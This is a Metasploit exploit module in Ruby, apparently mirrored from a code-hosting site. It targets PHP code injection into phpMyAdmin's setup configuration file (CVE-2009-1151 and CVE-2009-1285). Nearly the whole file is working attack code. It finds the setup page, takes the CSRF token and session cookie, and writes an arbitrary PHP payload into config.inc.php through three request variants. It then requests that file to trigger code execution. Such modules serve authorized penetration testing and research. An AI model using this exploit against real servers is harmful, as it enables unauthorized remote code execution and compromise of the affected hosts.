/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/unix/webapp/phpmyadmin_config.rb
363 строки
13 KB
adfoster-r7
Add human-readable descriptions to CheckCode returns in unix/webapp exploit modules
30 апр 2026, 02:16
30 апр 2026, 02:16
0bf595c
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'phpMyAdmin Config File Code Injection', 'Description' => %q{ This module exploits a vulnerability in phpMyAdmin's setup feature which allows an attacker to inject arbitrary PHP code into a configuration file. The original advisory says the vulnerability is present in phpMyAdmin versions 2.11.x <= 2.11.9.4 and 3.x <= 3.1.3. There was a follow up vulnerability as the patch was incomplete, affecting versions 3.x <= 3.1.3.1. The file where our payload is written (phpMyAdmin/config/config.inc.php) is not directly used by the system, so it may be a good idea to either delete it or copy the running config (phpMyAdmin/config.inc.php) over it after successful exploitation. }, 'Author' => [ 'Greg Ose', # Discovery (CVE-2009-1151, v2.11.x <= v3.0.x) 'pagvac', # milw0rm PoC (CVE-2009-1151) 'egypt', # metasploit 'Tenable', # Discovery (CVE-2009-1285, v3.1.x <= v3.1.3.1) 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2009-1151' ], [ 'OSVDB', '53076' ], [ 'EDB', '8921' ], [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-3/' ], [ 'URL', 'https://web.archive.org/web/20130724101149/http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ], [ 'CVE', '2009-1285' ], [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-4/' ], [ 'URL', 'https://www.tenable.com/security/research/tra-2009-02' ] ], 'Privileged' => false, 'Platform' => [ 'php' ], 'Arch' => ARCH_PHP, 'Payload' => { 'Space' => 4000, # unlimited really since our shellcode gets written to a file 'DisableNops' => true, # No filtering whatsoever, so no badchars 'Compat' => { 'ConnectionType' => 'find' }, 'Keys' => [ 'php' ] }, 'Targets' => [ [ 'Automatic (phpMyAdmin 2.11.x <= 2.11.9.4 and 3.x <= 3.1.3.1)', {} ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2009-03-24', 'Notes' => { 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE], 'SideEffects' => [CONFIG_CHANGES] } ) ) register_options( [ OptString.new('URI', [ true, 'Base phpMyAdmin directory path', '/phpMyAdmin/' ]), # /scripts/setup.php - <= 2.11.9.4/3.0.x # /setup/ - >= 3.1.x OptString.new('SETUP_PATH', [ false, 'phpMyAdmin setup directory path (Blank to automatically detect)' ]) ] ) end def request_setup(uri) uri = normalize_uri(datastore['URI'], uri) vprint_status "Trying: #{uri}" response = send_request_raw({ 'uri' => uri }) if response.nil? vprint_error 'Error with setup request (No response)' elsif response.code != 200 vprint_warning "Error with setup request (HTTP #{response.code}, should be 200)" else vprint_good "Found: #{uri}" title = response&.get_html_document&.at_xpath('//title')&.text if /phpMyAdmin (?<version_str>.+?) setup/i =~ title version = Rex::Version.new(version_str) vprint_status "Found version: #{version}" report_service( host: rhost, port: rport, proto: 'tcp', name: 'phpMyAdmin', info: "phpMyAdmin #{version}", parents: { name: ssl ? 'https' : 'http', host: rhost, port: rport, proto: 'tcp', parents: { name: 'tcp', host: rhost, port: rport, proto: 'tcp', parents: nil } } ) end end return response, version end def find_setup_path(mode: :exploit) if datastore['SETUP_PATH'].nil? vprint_status 'Attempting to automatically detect phpMyAdmin setup directory path' response, version = request_setup('/scripts/setup.php') # phpMyAdmin <= 2.11.9.4/3.0.x if mode == :exploit response, version = request_setup('/setup/index.php?page=config') unless response&.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig) response, version = request_setup('/setup/') unless response&.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments) else response, version = request_setup('/setup/') unless response&.code == 200 # This will report if folder is writable response, version = request_setup('/setup/index.php?page=config') unless response&.code == 200 # This will not end else response, version = request_setup(datastore['SETUP_PATH']) end print_error 'Unable to find valid phpMyAdmin setup directory path' unless response&.code == 200 return response, version end def check response, version = find_setup_path(mode: :check) return Exploit::CheckCode::Safe(version ? "Version #{version} is not vulnerable" : 'Could not find phpMyAdmin setup page') unless response&.code == 200 if (response.body !~ /"token"\s*value="([^"]+)"/) return Exploit::CheckCode::Safe("Couldn't find token and can't continue without it. Is URI set correctly?") elsif (response.body =~ /Cannot load or save configuration/) return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable!)") elsif (response.body =~ /Please create web server writable folder/) # Full message: Please create web server writable folder config in phpMyAdmin top level directory as described in documentation. Otherwise you will be only able to download or display it. return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable! - Error: 2)") end if version vulnerable = version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.4')) || version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.1')) if vulnerable return Exploit::CheckCode::Appears("Target version is in range! (#{version})") else print_status "Target version is not in range (#{version})" end else print_error 'Could not determine version' return Exploit::CheckCode::Unknown("Could not determine version") end end def php_serialize(obj) case obj when String "s:#{obj.bytesize}:\"#{obj}\";" when Integer "i:#{obj};" when TrueClass 'b:1;' when FalseClass 'b:0;' when Array body = obj.each_with_index.map { |v, i| php_serialize(i) + php_serialize(v) }.join "a:#{obj.length}:{#{body}}" when Hash body = obj.map { |k, v| php_serialize(k) + php_serialize(v) }.join "a:#{obj.length}:{#{body}}" end end def valid_request(response, expected_http_code = 200) fail_with(Failure::Unknown, 'Error with exploit request (No response)') unless response return if [expected_http_code, 200].include?(response.code) fail_with(Failure::Unknown, "Error with exploit request (HTTP #{response.code}, expected #{expected_http_code})") end def exploit response, = find_setup_path(mode: :exploit) fail_with(Failure::NotFound, 'Failed - Server may not be vulnerable') unless response&.code == 200 uri = response.request[/^GET\s+(\S+)/, 1] # Find the CSRF token and session cookie fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]+)"/) token = ::Regexp.last_match(1) cookie = response.get_cookies case uri # CVE-2009-1151 when %r{/scripts/setup\.php} vprint_status 'Constructing exploit (save request) for: <= 2.11.9.4/3.0.x' injected = "host']='';#{payload.encoded};//" # There is probably a great deal of randomization that can be done with this PHP serialized array config_hash = { 'Servers' => [ { injected => '', rand_text_alpha(9) => 'extension', 'connect_type' => 'tcp', 'compress' => false, 'auth_type' => 'config', 'user' => rand_text_alpha(4) } ] } config = php_serialize(config_hash) # Now that we've got the cookie and token, send the evil print_status "Sending exploit (save request): #{uri}" response = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'token' => token, 'action' => 'save', 'configuration' => config, 'eoltype' => 'unix' } }, 3) valid_request(response) # CVE-2009-1285 #1 when %r{/setup/index\.php\?page=config\z} uri = uri.sub(%r{/setup/index\.php\?page=config\z}, '/setup/config.php?type=post') print_status "Sending exploit >= 3.1.x (textconfig): #{uri}" response = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'token' => token, 'eol' => 'unix', 'textconfig' => "<?php #{payload.encoded} ?>", 'submit_save' => 'Save' } }, 3) valid_request(response, 303) # CVE-2009-1285 #2 when %r{/setup(?:/(?:config|index)\.php)?/?\z} phpmyadmin_cookie = cookie[/phpMyAdmin=([^;]+)/, 1] fail_with(Failure::NotFound, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie print_status "Sending exploit >= 3.1.x (new server): #{uri}" response = send_request_cgi( { 'method' => 'POST', 'uri' => uri, 'vars_get' => { 'phpMyAdmin' => phpmyadmin_cookie, 'check_page_refresh' => '1', 'token' => token, 'page' => 'servers', 'mode' => 'add', 'submit' => 'New server' }, 'cookie' => cookie, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'check_page_refresh' => '1', 'token' => token, 'Servers-0-verbose' => "*/#{payload.encoded}/*", 'Servers-0-host' => 'localhost', 'Servers-0-port' => '', 'Servers-0-socket' => '', 'Servers-0-connect_type' => 'tcp', 'Servers-0-extension' => 'mysqli', 'Servers-0-auth_type' => 'cookie', 'Servers-0-user' => 'root', 'Servers-0-password' => '', 'Servers-0-auth_swekey_config' => '', 'submit_save' => 'Save', 'Servers-0-SignonSession' => '', 'Servers-0-SignonURL' => '', 'Servers-0-LogoutURL' => '', 'Servers-0-only_db' => '', 'Servers-0-hide_db' => '', 'Servers-0-AllowRoot' => 'on', 'Servers-0-DisableIS' => 'on', 'Servers-0-AllowDeny-order' => '', 'Servers-0-AllowDeny-rules' => '', 'Servers-0-ShowDatabasesCommand' => 'SHOW DATABASES', 'Servers-0-CountTables' => 'on', 'Servers-0-pmadb' => '', 'Servers-0-controluser' => '', 'Servers-0-controlpass' => '', 'Servers-0-verbose_check' => 'on', 'Servers-0-bookmarktable' => '', 'Servers-0-relation' => '', 'Servers-0-table_info' => '', 'Servers-0-table_coords' => '', 'Servers-0-pdf_pages' => '', 'Servers-0-column_info' => '', 'Servers-0-history' => '', 'Servers-0-designer_coords' => '' } }, 3 ) valid_request(response, 303) uri = uri.sub(%r{/setup(?:/(?:config|index)\.php)?/?\z}, '/setup/config.php') print_status "Sending exploit >= 3.1.x (save config): #{uri}" response = send_request_cgi( { 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'token' => token, 'submit_save' => 'Save' } }, 3 ) valid_request(response, 303) else fail_with(Failure::Unknown, "...unsure how to exploit the target based on the URI: #{uri}") end # Very short timeout because the request may never return if we're sending a socket payload timeout = 0.1 uri = normalize_uri(datastore['URI'], '/config/config.inc.php') print_status "Requesting our payload: #{uri}" response = send_request_raw({ 'global' => true, # Allow findsock payloads to work 'uri' => uri }, timeout) # Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails if response.nil? vprint_warning 'The request received no response in the allotted time, and is expected, even if the exploit succeeds.' elsif response.code != 200 vprint_error "Error with payload request (HTTP #{response.code}, should be 200)" end end end